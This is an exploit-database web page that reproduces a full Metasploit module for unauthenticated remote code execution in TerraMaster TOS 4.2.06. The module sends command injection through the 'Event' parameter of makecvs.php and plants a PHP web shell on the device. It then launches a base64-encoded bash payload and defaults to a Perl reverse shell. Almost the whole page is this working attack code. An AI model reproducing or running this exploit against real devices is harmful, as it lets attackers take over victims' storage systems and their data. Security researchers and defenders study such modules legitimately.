Advertisement






TerraMaster TOS 4.2.06 Remote Code Execution

CVE Category Price Severity
CVE-2021-27415 CWE-77 $5,000 High
Author Risk Exploitation Type Date
Mehmet Ince High Remote 2020-12-24
CPE
cpe:cpe:/a:terramaster:tos:4.2.06
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H 0.02295 0.49707

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020120167

Below is a copy:

TerraMaster TOS 4.2.06 Remote Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => "TerraMaster TOS 4.2.06 - Unauthenticated Remote Code Execution",
      'Description' => %q(
        This module exploits a unauthenticated command execution vulnerability in TerraMaster TOS.
        The "Event" parameter in "include/makecvs.php" contains a vulnerability. 
        "filename" is executing command on system during ".csv" creation. 
        In order to do this, it is not necessary to have a session in the application.
        Therefore an unathenticated user can execute the command on the system.
      ),
      'License' => MSF_LICENSE,
      'Author' =>
        [
          'AkkuS <zkan Mustafa Akku>', #PoC & Metasploit module
          'IHTeam' # Discovery
        ],
      'References' =>
        [
          ['CVE', '2020-'],
          ['URL', 'http://www.pentest.com.tr/exploits/TerraMaster-TOS-4-2-06-Unauthenticated-Remote-Code-Execution.html'],
          ['URL', 'https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/']
        ],
      'Platform' => 'unix',
      'Arch' => ARCH_CMD,
      'Targets' => [['Automatic', {}]],
      'Privileged' => false,
      'DisclosureDate' => "Dec 12 2020",
      'DefaultTarget' => 0,
      'DefaultOptions' =>
        {
          'RPORT' => 8181,
          'SSL'   => false,
          'PAYLOAD' => 'cmd/unix/reverse_perl' }))

    register_options(
      [
        OptString.new('TARGETURI', [true, "Base ERP directory path", '/'])
      ]
    )
  end

  def run_cmd(file,cmd)

    res = send_request_cgi(
      {
        'method' => 'POST',
        'ctype'  => 'application/x-www-form-urlencoded',
        'uri'     =>  normalize_uri(target_uri.path, "#{file}"),
        'data' => "cmd=#{cmd}"
      })
  end

  def upload_shell
    sname = Rex::Text.rand_text_alpha_lower(8) + ".php"
    payload_post = "http|echo \"<?php echo(passthru(\\$_REQUEST['cmd']));?>\" >> /usr/www/#{sname} && chmod +x /usr/www/#{sname}||"
    @b64p = Rex::Text.encode_base64(payload.encoded)
    perl_payload = 'bash -c "{echo,' + "#{@b64p}" + '}|{base64,-d}|{bash,-i}"'
    payload = Rex::Text.uri_encode(perl_payload)

    res = send_request_cgi(
      'method'  => 'GET',
      'uri' => normalize_uri(target_uri.path, "include", "makecvs.php"),
      'vars_get' => {
        'Event' => "#{payload_post}",
      }
    )

    res = send_request_cgi(
      'method'  => 'POST',
      'uri'     =>  normalize_uri(target_uri.path, "#{sname}"),
      'vars_post' => {
        'cmd' => 'id'
      }
    )

    if res && res.code == 200 && res.body.include?('uid=')
      print_good("Upload completed successfully and command executed!")
      run_cmd("#{sname}",payload)
    else
      fail_with(Failure::NoAccess, 'Error occurred during uploading!')
    end
  end

  def exploit
    unless Exploit::CheckCode::Vulnerable == check
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end
    upload_shell    
  end

  def check

    res = send_request_cgi(
      'method'  => 'GET',
      'uri'     =>  normalize_uri(target_uri.path, "version"),
    )

    if res && res.code == 200 && res.body
      version = res.body.split(".0_")[1]
      print_status("Version : " + res.body)
      return CheckCode::Detected if version.nil?
      version = version.split(".").join('')
      if version <= "4206"
        return CheckCode::Vulnerable
      else
        return CheckCode::Safe
      end
    end
  end
end
            

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum